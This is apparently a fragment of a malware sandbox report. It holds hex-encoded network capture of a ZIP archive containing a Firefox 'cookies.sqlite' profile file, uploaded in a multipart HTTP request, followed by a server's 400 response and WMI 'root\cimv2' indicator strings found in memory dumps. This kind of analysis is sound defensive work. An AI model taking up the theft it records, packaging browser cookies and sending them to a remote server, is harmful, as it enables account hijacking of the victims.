6:38:df:c9:2e:7c:3e:2a:3c:72:f8:09:a3:25:2b:c2:92:a6:be:2f:05:9a:19:2c:87:31:e4:40:31:45:3b:f7:78:8f:0f:2b:3b:af:1c:16:cb:1b:01:2b:0b:c9:ac:ec:b8:c5:e1:cb:78:e5:69:24:6b:02:8b:e5:99:d5:1f:54:d4:0d:5b:37:b2:c5:74:56:dc:78:c6:02:be:f9:d9:4d:76:ef:72:cd:cf:fe:e5:8f:3d:78:54:be:fc:7a:e3:b0:f6:3f:f4:13:6f:7e:e6:3d:d6:fe:64:33:8b:da:66:bb:d3:6e:2b:ed:76:5b:1e:d7:be:38:bb:b5:3a:ea:59:13:d9:69:48:b5:61:2b:6c:e1:4c:f3:7e:a0:08:7c:b1:65:73:88:7a:c2:f9:b1:64:a4:7e:6f:70:e4:ad:3b:6e:67:b4:c9:d4:f6:da:67:15:d2:2a:a8:17:b2:24:9b:9e:39:ed:38:e7:9a:bf:b9:75:7e:1e:bb:e6:74:6a:0f:2f:5a:67:51:3c:5d:ad:6a:d5:4f:c7:83:44:6c:0b:53:7d:7f:ae:6e:92:6c:3c:72:a5:e3:a8:65:f1:47:51:8b:6c:ca:19:77:52:fb:79:7f:2a:c5:a7:ed:7e:38:5e:4b:9d:c4:a7:75:4f:de:78:a6:b9:a3:e3:ec:c8:d1:ec:c4:da:7b:e6:d8:17:8f:f8:89:15:38:6b:75:74:ec:ce:77:ab:b6:5a:77:95:69:bb:fd:5e:a3:94:ff:95:47:47:e9:bb:fe:d1:ef:7e:e1:8f:ad:c4:c3:28:f1:7f:ea:cd:f7:8a:90:8a:ed:d8:6d:e2:f4:cf:14:cb:1e:d8:8e:62:38:f7:c7:6c:f0:ae:63:76:61:88:59:38:08:69:7a:5e:56:c6:e1:07:b3:b9:c0:66:d9:d0:b6:ef:1e:9d:9e:8e:b6:0e:97:09:aa:2f:a5:ab:b1:35:eb:c5:ad:a6:73:76:c6:39:61:14:36:03:27:91:85:86:62:f6:4f:c6:bb:5b:86:b7:3b:ad:bd:a4:d9:b1:b5:20:19:1e:2d:2e:8e:d4:8b:d2:1c:d1:e1:b8:39:38:e3:06:fd:6c:90:54:bb:a3:41:b2:bf:15:73:ea:c5:ea:62:eb:c8:0d:91:08:5e:93:4f:23:da:b2:76:62:71:aa:1d:2d:4e:1a:ca:30:be:68:da:c5:66:cb:62:a4:ab:04:dc:74:b8:4a:f4:79:73:c0:12:0d:6f:57:64:c7:59:d3:0d:9c:d6:71:ba:d0:4e:2f:4e:67:34:d5:f8:d9:c6:1b:b1:90:dc:38:6a:9c:49:3e:2b:f8:95:13:6e:dd:6f:91:25:39:ce:06:c3:61:39:f6:ce:38:af:a6:a7:6e:b1:08:8e:58:f4:61:b5:c5:7c:d8:da:da:bd:f3:b3:74:13:d7:85:43:da:ac:76:5a:6b:66:2a:2c:c8:aa:1e:64:6d:7e:af:11:5d:b4:63:e5:dc:5e:ac:86:2c:ef:d5:ba:ae:53:ed:ea:2c:53:92:56:9c:b4:25:29:14:cf:6c:ab:4a:9b:e7:a5:bb:0c:ce:fb:59:6b:7d:6a:2a:5c:9b:55:36:6a:d4:3f:61:b9:a1:34:ea:94:e5:b0:7f:7c:6c:1c:6d:f2:ad:ee:d1:5b:82:2a:ef:1d:7b:3b:33:48:a7:b7:bc:b5:19:9e:17:6a:3e:f4:3b:bb:56:e7:c4:dc:a5:cb:e3:d9:50:ad:97:ba:7f:be:d1:06:9e:5a:5b:cd:f6:f4:42:71:ed:a3:f3:38:5f:ba:b7:16:45:49:da:03:67:35:bd:b5:ea:29:4b:45:ef:50:75:9c:b5:46:e5:a0:df:df:8d:b3:e5:22:6b:18:a4:de:35:2f:e4:41:e2:04:ce:ea:bc:b2:47:ab:fa:2c:e9:8c:7a:1d:3f:58:c9:b3:4a:9e:2b:7a:ed:0d:8f:8f:e5:93:b1:10:65:bb:d3:e3:fa:ac:3f:8d:36:9c:b3:93:a7:da:31:3d:a7:fa:a4:48:66:db:be:63:48:5c:95:a9:5d:7d:53:56:d1:70:11:99:31:b7:2f:62:59:5d:57:a5:9b:ca:fe:ec:c8:ca:c4:96:d2:d1:27:b7:fa:ad:fe:f6:74:54:65:e9:5c:91:7a:ea:e0:ac:0a:bb:ea:76:64:f7:2f:a2:45:b2:3f:1b:9e:86:17:c3:9a:85:f4:be:49:c4:b8:9c:e9:3c:8b:56:46:ca:e6:fc:7b:85:86:5f:f9:13:8f:4d:fa:97:9a:b7:7f:f1:cb:6f:71:2f:5e:79:ed:5a:f0:13:d7:a4:cb:49:ff:c1:0f:7e:70:91:96:c1:e1:fc:e5:6a:51:cd:f2:59:b9:3f:e7:c4:63:3e:0c:c2:48:0c:4f:9a:21:cf:70:61:dc:08:8e:43:5e:0a:8f:8f:63:be:d5:d6:fd:5e:31:6a:2e:6e:0a:7a:67:66:2c:48:e1:5d:c8:6a:c3:dc:8c:67:ed:b1:50:ce:2d:5f:54:7c:c5:4d:f7:a6:d1:d1:96:17:db:c5:6c:7d:bc:29:bc:fe:44:29:5a:5d:33:e5:03:ab:bc:c9:22:5c:53:88:ab:4d:4c:e3:e9:f0:ad:45:dc:17:85:b8:54:74:cf:ea:f8:8d:dc:97:f2:62:13:0e:da:f3:5e:e7:78:61:ca:f9:71:55:f7:3a:db:75:d1:50:46:f4:16:c9:6f:9d:09:ee:42:15:3b:03:75:1c:ea:37:63:16:7c:df:ea:0c:c6:2b:fb:a2:3e:49:85:f9:b4:bf:a1:c2:b0:88:fd:7c:57:5a:4e:43:95:b3:f9:4e:2f:da:37:f7:69:37:f5:c9:fe:66:b0:e1:d8:50:ed:a2:75:b9:9a:a5:f1:8d:87:57:7f:f3:f3:37:bf:e7:13:87:51:ba:fe:77:af:bd:78:39:5a:6f:fe:c3:fe:3b:af:df:38:8c:d6:47:df:f9:cc:e5:68:7d:f0:91:d1:6a:cb:16:d1:cf:3b:4e:f0:83:d6:a7:25:ee:f6:f4:d3:d1:49:53:6a:36:4f:a2:a3:28:08:83:a3:06:cf:05:47:2d:e1:d6:ad:a3:b0:d1:38:3e:e6:9a:c2:c9:44:0a:6e:17:9f:1e:b1:f7:9f:37:23:69:c2:c7:22:77:14:71:12:3b:f7:a4:d5:38:0a:c4:e3:c9:d1:09:3f:91:6e:35:c3:26:17:73:f1:0f:3e:b3:97:9f:d5:7f:fd:57:ee:f7:ee:e7:ff:e3:87:8f:ef:b4:8f:5e:bc:f2:d6:b5:e9:3b:2f:29:2f:7c:e0:7e:20:8b:36:8b:f5:e1:57:60:b2:bb:79:78:5b:12:84:b7:65:22:37:e5:81:65:49:0d:d1:68:0d:3a:d6:68:dc:34:6f:cb:6d:ff:ac:65:9c:b5:3d:47:73:35:45:97:b5:93:e6:e8:76:b3:71:83:17:0e:7f:6e:f0:4d:e1:36:2f:89:fc:89:c8:35:c4:93:db:c1:31:17:09:27:7c:dc:60:4f:26:62:74:32:b9:15:9f:34:6e:89:42:d0:e4:9b:27:8d:49:dc:6a:9c:44:e2:a4:29:04:cb:19:bb:14:49:6a:06:02:77:e3:89:ae:dc:bc:f2:e9:7f:fd:7f:b7:ef:6f:59:3f:90:fc:cc:c3:c7:77:be:fb:53:2f:1c:ae:41:7a:b7:4b:28:57:bf:8f:4b:50:ce:7c:a5:cb:4a:84:5e:f3:4c:19:ea:e6:c0:e1:2d:f1:f7:d8:a9:17:5d:fb:6f:3d:7c:fc:ec:27:5f:60:77:ff:a5:cf:3c:b5:54:64:47:1e:70:dd:f6:45:f3:9c:45:08:db:b9:58:ec:04:6b:53:24:a7:61:b4:7b:e6:5d:3b:7f:b1:f7:93:8f:ce:ad:17:7e:f2:6b:bd:f2:6f:5f:39:fa:3d:ff:a3:bc:cf:dd:3c:f4:e4:a3:e2:bb:4e:43:fe:fe:34:9c:7d:9a:e7:85:e3:e6:ed:f8:d3:4d:f1:f7:3c:81:7e:a9:7a:eb:d0:fa:9b:c1:53:ad:1f:1e:2f:0b:04:67:91:c6:05:c7:95:6e:37:5c:49:d2:19:1d:94:a5:a4:4c:17:c1:2d:b5:7b:42:4f:56:de:a2:9b:fb:c7:39:3d:23:35:67:df:ba:75:eb:5d:3e:f9:37:7e:e5:d1:41:78:51:fd:0f:3e:5d:db:57:3e:f6:9e:17:3e:fc:fc:0b:57:3e:76:ed:7b:3f:f1:fa:c3:ae:7d:e3:07:25:f9:b3:73:ad:6d:09:1c:7f:72:c4:1d:1f:f1:ec:7f:c2:a3:3f:46:f9:d9:4d:71:39:bb:3e:fa:a7:be:72:e5:f0:78:6d:98:9f:dd:36:5f:b8:72:74:4d:b2:6f:be:db:d7:4e:ed:e5:fa:f0:b5:d3:b8:28:67:21:bb:ec:88:ac:63:16:ef:d7:2c:9b:dd:1b:41:1e:bf:ad:07:ab:f0:0d:81:b3:66:db:78:b5:f8:78:10:44:6f:ab:ec:ed:f1:33:4b:b2:ce:a3:3f:93:ca:4a:b2:e7:95:cf:1d:ae:e5:e5:8f:3e:e3:5a:46:bd:b3:23:89:6b:f2:0d:89:ff:f4:13:17:f1:67:2f:2f:22:9a:5f:7e:43:f0:da:bf:df:fe:17:3f:fe:85:cb:7f:a0:d9:7d:f3:61:33:8f:fd:d3:c7:f3:e9:2c:ea:b5:f9:1b:87:c5:7b:c2:35:4f:8e:1b:27:27:37:1e:ac:61:b1:c5:3d:f1:ef:24:3f:3b:12:3f:fa:e8:bf:93:fc:ae:f6:7f:fd:ab:9f:3b:3f:b4:ff:72:fb:dd:da:0f:ee:37:7f:dc:68:f2:7c:4b:6a:35:df:bd:f5:f3:17:fb:3f:ff:78:eb:ff:d5:ff:f6:ce:47:5f:7b:91:35:ff:ca:3b:f7:b3:ae:a7:da:d7:6d:f5:ac:db:23:03:f9:6d:fe:78:12:8b:41:4b:8c:62:21:6a:c4:71:6b:d2:64:9f:72:72:cc:c5:b7:8e:03:91:8f:e2:8f:f7:db:76:ff:f2:ac:8f:0f:e9:db:87:79:c0:1d:7f:9c:be:dd:f8:f8:90:bc:fd:b0:4b:27:ad:66:a3:f9:d8:cd:79:bc:87:9f:bf:f9:f2:d7:2e:c7:f7:3b:1b:e3:cb:1e:fe:d8:1f:fb:99:c9:f7:5f:5e:bf:fe:ec:eb:d7:6d:ae:c5:b6:c1:30:3c:39:69:dd:62:61:91:17:1b:ad:06:2b:6a:8e:e3:28:6a:06:27:41:43:e0:9f:1c:63:fd:b7:ee:3c:36:0a:3f:7c:23:79:e7:a5:57:0f:a3:f0:f2:3b:6f:be:cb:a7:74:f9:7f:b3:63:f0:2e:d7:fd:8d:3e:7d:f2:4b:e3:8f:5c:fe:7b:dc:57:9e:7d:5f:a8:dd:1d:e9:bd:78:71:eb:30:df:df:63:44:59:a6:bd:79:6c:44:a5:bf:f3:33:5f:56:ac:c3:37:2d:5e:ff:89:cd:bb:2e:3c:ba:2e:d7:76:bc:5e:cf:16:c5:1b:c7:9d:37:04:e1:2c:5e:ad:67:eb:92:ad:c4:07:87:07:11:3b:fa:86:d8:66:ff:8d:1a:c7:dc:49:78:4b:3c:92:22:b6:87:36:5a:93:d6:51:d0:64:5b:6d:2c:35:c3:90:0d:8f:d0:12:2e:4f:16:ba:97:0d:15:d1:ac:98:3e:b2:ac:59:63:4f:b7:c9:3d:70:f4:8c:ff:3c:f4:f5:36:bb:9b:d5:8a:35:f6:cd:da:0c:1a:92:70:4b:3c:e6:8e:5a:cd:e3:93:a3:c6:e4:d6:e4:68:72:2b:38:39:12:22:3e:8c:1a:62:b3:d5:8a:c5:c3:c9:c7:f2:d3:01:24:fa:6b:bf:f9:58:00:f9:ae:97:ff:07:2e:f8:f0:e1:0e:49:2f:3d:fb:0e:9d:cf:c2:ec:9c:b5:33:2b:17:ab:f3:2c:28:a6:e7:f3:75:5c:bc:f7:ad:ba:78:f4:56:5d:fb:da:af:9f:dc:b9:73:f5:ca:b7:b1:b8:2b:07:97:41:e6:85:77:0d:02:e5:d3:d3:fc:37:fe:e7:cb:d6:fe:15:ff:95:87:8f:9f:ef:1d:22:de:4b:a7:6f:3e:1d:f1:64:3a:dd:1d:db:eb:69:20:df:ea:0c:58:7d:7d:62:8e:ab:f3:58:6f:c5:6a:2f:bd:90:ed:c4:db:ed:76:8f:45:42:fd:9f:bc:74:d9:ec:e9:17:4e:2e:3b:fb:0b:cf:ff:a7:ef:7c:e4:c5:c3:0f:f9:7f:e8:1d:e9:f5:57:1f:cc:ab:6f:bc:c3:36:06:72:bb:67:f5:fa:a3:a6:d9:5f:d1:d5:a8:1a:aa:bd:d5:f1:2a:e5:76:89:97:07:c5:f6:c8:2b:39:63:76:16:37:36:e7:fd:a1:6b:e7:bb:ed:ad:8d:35:69:ad:4e:3b:7a:7a:ab:d9:37:8d:ad:13:ef:96:9a:30:5a:9e:cc:bc:a3:65:cf:3c:3e:16:83:e0:b1:1f:d5:67:bb:c0:ec:d6:fe:73:3f:7c:23:bd:fc:f2:db:1f:f9:cb:97:1b:db:b5:bf:f4:2a:f7:ce:8d:6b:f7:bb:16:5c:76:ed:f1:7f:7f:d0:ed:0d:ba:dd:69:95:07:63:2d:f3:f3:56:63:e8:0e:4a:cf:1d:cc:ce:c4:c3:8f:94:9a:db:a0:6f:95:93:6e:95:84:fd:ce:3a:70:8d:24:ea:65:db:c9:ac:d5:b8:7f:bc:3c:7c:4b:6f:ed:8d:3b:bb:49:2f:9b:7b:87:6f:61:09:8d:ed:e1:db:3d:23:51:69:e9:dd:86:34:ec:2e:b6:a7:f3:b2:3a:73:da:9b:51:fb:d1:0e:af:63:b6:81:25:9f:fb:d1:bf:fc:e1:cb:0e:7f:fb:bf:b8:5c:fd:d7:be:fa:95:3f:f9:ce:f1:77:3e:ec:f0:d1:1f:a2:0e:1f:ea:92:2c:2e:e3:27:7a:7e:ed:ab:d6:07:1f:3c:7e:fb:9d:3b:7f:f1:8a:fe:2d:fe:9f:1e:7c:43:ff:3b:0e:53:f6:43:af:3f:7b:93:ee:f2:2d:8e:93:5a:62:f3:e8:89:7d:7a:f1:37:d4:6f:cc:ce:e2:ee:f4:d7:fe:cc:97:0e:ad:a9:df:7a:87:ac:d1:61:25:be:f2:2e:1b:05:5b:89:d9:2c:3c:5a:27:71:96:e5:71:b1:39:3f:91:9e:5a:97:bf:7e:ff:5f:c5:fc:fd:df:ba:5c:e5:df:fd:e5:9f:fb:c8:e6:c7:0f:6d:8a:f6:b3:db:5c:2c:4b:56:07:d6:71:b6:57:8a:cb:0c:68:10:2d:e2:cd:c3:3a:40:6a:b1:94:62:c5:dd:68:1d:8b:62:4b:38:91:8e:5b:1c:2f:34:b9:c6:d3:7b:ff:cf:3e:f6:ff:c0:30:fb:c8:af:9d:5e:7d:e1:ca:eb:d7:5e:79:fd:8d:af:7f:ec:a2:9e:65:59:70:63:b1:9a:5e:5e:c8:3a:9d:2d:8f:26:9b:92:55:b1:37:1e:79:ed:a6:ff:17:7e:ea:cf:5f:f9:c0:ad:bf:fa:f3:5f:3a:be:fe:f0:d1:78:ff:a1:31:fe:85:77:69:ac:3c:27:ed:23:91:a5:28:4d:51:e0:8f:78:fe:c9:f6:d6:87:76:fe:fc:e8:bf:7d:f1:e1:a3:f7:81:43:7b:1f:6a:3f:bb:bd:87:49:55:83:e7:4f:1a:27:cd:e3:43:d6:23:70:c2:b1:c4:b6:85:c7:9b:fe:8b:ff:f8:3f:67:4d:fe:cd:3f:f9:a5:c9:57:ee:37:fd:ef:7e:d5:7d:fe:d0:f4:cb:9f:79:97:ae:3e:48:d7:04:81:a5:53:87:da:eb:d9:0d:ff:f8:f9:d7:3e:7d:e5:03:77:3f:f6:f7:dc:7f:e7:6f:3d:68:f8:2b:df:71:e7:da:95:4f:ee:7f:e9:ca:bd:cf:7f:f1:5f:dd:fe:a1:2f:8e:ef:fd:c0:bd:2b:b7:ff:8f:bb:bf:f4:c5:2f:d7:7f:e5:8b:37:ea:57:ea:2f:7d:f1:fd:fb:ff:eb:ee:4b:77:fe:9f:3b:ff:60:ff:4b:77:5e:b9:fb:df:dc:53:ee:fe:66:fd:3f:de:7d:eb:2e:bd:f3:d7:ef:7d:b5:fe:f4:bd:dd:9d:7b:f7:7e:f1:ce:cf:de:fb:ad:bb:5f:bc:e3:dd:d6:ee:dc:a8:e9:17:ff:c6:fe:ef:dd:fe:b9:db:3f:f7:ad:cf:5d:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:80:6f:ee:fb:ae:7e:e8:cd:17:ae:3d:a7:93:81:fc:c4:2f:cc:f6:df:b8:fa:da:31:7b:a9:4c:aa:f3:e9:66:16:6d:b3:75:b8:5c:c6:4f:9c:e5:bd:7e:f5:35:91:9d:a5:c6:51:7b:53:26:7c:be:bf:b1:9d:ad:37:41:b6:2e:37:d1:6c:71:79:ce:f8:07:af:be:fa:c8:39:cf:3a:c5:7d:f5:ea:2b:87:7e:5c:fe:d6:ed:27:3e:62:f4:e6:55:f1:f0:da:33:7e:0d:f8:13:67:fe:f8:27:af:be:d6:7e:a4:33:c1:72:79:63:bb:0e:e2:ea:e9:0f:fc:cc:9b:57:5f:7d:e4:d4:f7:38:f3:47:8f:ae:4a:37:d9:99:f6:72:7d:38:33:2e:ca:59:18:94:f1:65:0f:9e:3e:db:7c:66:17:d6:cb:f5:d3:a7:3a:cf:ea:c2:33:cf:b4:1f:9c:d9:ed:da:25:fb:e8:1b:d9:62:3a:2b:be:71:ed:8b:22:9b:15:f7:7f:ef:bb:d4:b8:ca:1f:ce:54:6c:c7:6e:13:a7:7f:a6:58:f6:c0:76:14:c3:79:8f:37:89:ea:d5:40:62:6f:5a:ae:16:15:1b:e1:72:7f:ce:89:c7:7c:18:84:91:18:9e:34:43:9e:e1:c2:b8:11:1c:87:bc:14:1e:1f:c7:7c:8b:b5:b1:8b:d6:e5:6a:96:c6:37:16:69:19:5c:36:c3:bd:71:f5:a3:87:66:da:b2:45:f4:f3:8e:c3:3f:f3:ac:9b:4f:9c:15:3c:f3:ac:1b:e6:d5:a9:c2:ce:4a:82:f0:b6:4c:e4:a6:3c:b0:2c:a9:21:1a:ad:41:c7:1a:8d:9b:e6:6d:b9:ed:9f:b5:8c:b3:b6:e7:68:ae:a6:e8:b2:76:d2:1c:05:cb:d9:d1:09:2f:49:cd:40:e0:6e:44:9b:c5:3a:0e:37:2b:76:39:97:2d:1e:3d:68:b1:5c:fd:9b:6a:f1:53:3f:70:f5:a5:c3:95:c8:ce:33:2f:e1:93:f7:7e:f5:ca:77:dc:5f:64:1f:be:fa:f2:eb:ec:44:83:ad:b1:e9:62:31:cd:ee:0f:7b:fb:93:57:df:3c:bc:ff:f0:8e:cb:fb:ea:2c:d2:b8:78:66:5b:6f:bd:71:f5:43:9f:61:a7:4e:d8:3a:7c:f7:fb:d8:78:b0:98:0f:bf:6d:fe:89:95:11:7c:fd:a5:d9:93:8b:e6:0b:df:7b:f5:e5:07:ef:7a:e2:95:f3:4f:5c:7d:e5:30:99:74:5b:3d:eb:3e:36:29:1f:3f:ef:b5:07:2d:e8:36:f7:c4:2b:df:ff:f0:95:2e:ff:c4:2b:af:3e:58:27:d4:ee:8e:f4:5e:bc:78:8f:e6:3f:f2:43:57:5f:3f:2c:40:ba:2e:d7:76:bc:5e:cf:16:c5:d3:4b:c4:6a:5e:95:0e:ed:9d:cf:c2:ec:9c:bd:3a:2b:17:ab:f3:2c:28:a6:e7:f3:f5:7b:b4:fd:e1:8f:5c:7d:e9:d0:41:99:ee:76:bb:47:6f:4e:ef:c1:3d:1b:f5:ce:1e:3d:fc:b9:d7:ae:7e:e8:f5:57:59:30:78:e2:5e:6e:e3:d5:ec:d6:fe:c5:07:af:76:7b:83:ee:a3:af:ae:e3:60:15:26:d7:3e:ce:5e:3d:7a:fa:55:f6:67:99:c5:65:fc:e0:b4:ef:7c:85:9d:76:ff:93:1f:3b:ed:3b:be:f7:ea:f7:1e:8e:f3:67:e7:5a:db:7a:f4:95:cf:7f:ef:d5:57:de:f8:46:f0:5c:d4:b3:2c:0b:6e:2c:56:d3:9b:57:5f:b9:fa:f2:1b:0f:ef:ed:23:c7:9f:ff:f8:55:fe:c1:f1:f2:9c:b4:8f:c4:26:cf:37:45:81:3f:e2:1f:3b:ed:fd:6c:ee:be:f2:8c:4d:e3:23:57:3f:f4:c6:d7:27:d3:23:e7:7f:e0:30:df:3f:79:fb:77:ae:dc:6d:de:fd:d8:bd:3f:7d:ef:f6:bd:ec:de:e7:ee:fd:dc:bd:1f:b9:37:bc:f7:8f:ef:bd:79:ef:ca:dd:df:b9:fb:0f:ef:fe:9d:3b:9f:b9:73:e5:f6:ef:dc:b1:ee:fe:27:77:ff:bd:bb:3f:75:e7:9f:dd:dd:dc:f9:ef:ef:fd:fd:7b:bf:7c:ef:9f:df:fb:0f:ef:9e:de:9d:de:f5:ee:be:7c:f7:03:77:be:78:27:be:f3:d5:7b:2f:df:f9:e5:3b:bf:70:e7:cd:3b:2f:df:79:f9:ff:c7:6d:11:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:7e:7f:be:fb:f9:4f:5c:7b:ee:b1:5f:27:ef:3f:7d:c8:fb:d0:f3:47:d7:9e:7b:f2:d7:d5:8f:9f:79:d4:7d:fa:ed:a3:a7:0f:fd:f8:33:df:fb:99:67:1e:fd:d1:67:1e:35:9f:79:d4:79:e6:51:fb:23:cf:8b:8f:74:60:51:64:b3:e2:f2:b7:ce:4b:ef:f6:82:78:ed:f9:d7:ae:3d:b7:48:cb:e0:f0:8c:7b:ec:d9:cd:ef:79:fe:ad:6b:cf:45:9b:c5:3a:0e:37:ab:59:b9:3f:1c:3c:7a:d6:c1:4f:3d:f6:be:4f:3e:f6:ec:c6:63:cf:de:7a:b7:8e:34:9e:1e:bb:e0:e9:43:5f:78:fa:d0:f9:d3:87:5e:7b:fa:d0:f7:3f:7d:e8:d5:a7:0f:7d:e4:99:a3:6a:3d:7d:e2:87:5f:78:fe:63:d7:9e:9b:2e:16:d3:ec:b2:f7:bd:27:9e:7f:ee:89:e7:2f:3e:f1:fc:da:13:cf:bf:f3:89:e7:df:f1:c4:f3:f6:8b:cf:bf:ce:ba:b0:a8:67:59:16:dc:58:ac:a6:57:9f:3c:f0:fc:93:07:de:ff:44:13:9f:7f:f2:84:0f:fc:41:2f:49:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:f8:c3:eb:ff:05:50:4b:01:02:17:0b:14:00:00:00:08:00:90:a5:9c:4d:8f:bb:02:2b:a4:36:00:00:00:00:08:00:3d:00:48:00:00:00:00:00:00:00:00:00:00:81:00:00:00:00:73:68:76:6b:63:69:71:6c:2e:6f:74:74:2f:46:69:72:65:66:6f:78:2f:50:72:6f:66:69:6c:65:73:2f:79:77:7a:75:37:38:37:30:2e:64:65:66:61:75:6c:74:2f:63:6f:6f:6b:69:65:73:2e:73:71:6c:69:74:65:01:00:20:00:00:00:00:00:01:00:18:00:00:00:08:00:00:00:00:00:a4:36:00:00:00:00:00:00:00:00:00:00:00:00:00:00:0a:00:20:00:00:00:00:00:01:00:18:00:f7:86:2d:30:31:9f:d4:01:f7:86:2d:30:31:9f:d4:01:f7:86:2d:30:31:9f:d4:01:50:4b:06:06:2c:00:00:00:00:00:00:00:2d:00:2d:00:00:00:00:00:00:00:00:00:01:00:00:00:00:00:00:00:01:00:00:00:00:00:00:00:b3:00:00:00:00:00:00:00:47:37:00:00:00:00:00:00:50:4b:06:07:00:00:00:00:fa:37:00:00:00:00:00:00:01:00:00:00:50:4b:05:06:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:00:00:0d:0a:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:38:64:64:61:38:65:65:39:33:33:33:64:32:30:62:2d:2d:0d:0a" HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Wed 11 Jun 2025 13:20:12 GMT Content-Type: application/json Content-Length: 56 Connection: keep-alive Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Type Date Server Connection with response body ==>37623A32323A36663A36623A32323A33613A36363A36313A36633A37333A36353A32633A32323A36353A37323A37323A36663A37323A35663A36333A36663A36.......54:T1a8d,Found string "\\.\root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00007972.00000000.103107.03530000.00000004.mdmp, 00000000-00007972.00000000.103107.05190000.00000004.mdmp, 00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp") Found string "\.\root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00007972.00000000.103107.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.035BB000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found string "\\DESKTOP-FVVF82A\ROOT\cimv2:Win32_Processor" (Indicator: "root\cimv2"; in Source: "00000000-00007972.00000000.103107.03530000.00000004.mdmp, 00000000-00007972.00000000.103107.05190000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\ROOT\cimv2:Win32_Processor" (Indicator: "root\cimv2"; in Source: "00000000-00007972.00000000.103107.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.035BB000.00000004.mdmp") Found string "root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00007972.00000000.103107.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000001.105025.09AF0000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.035BB000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.09AF2000.00000004.mdmp") Found string "ROOT\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00007972.00000000.103107.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.035BB000.00000004.mdmp") Found string "ROOT\CIMV2" (Indicator: "root\cimv2"; in Source: "00000000-00007972.00000000.103107.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.03530000.00000004.mdmp, 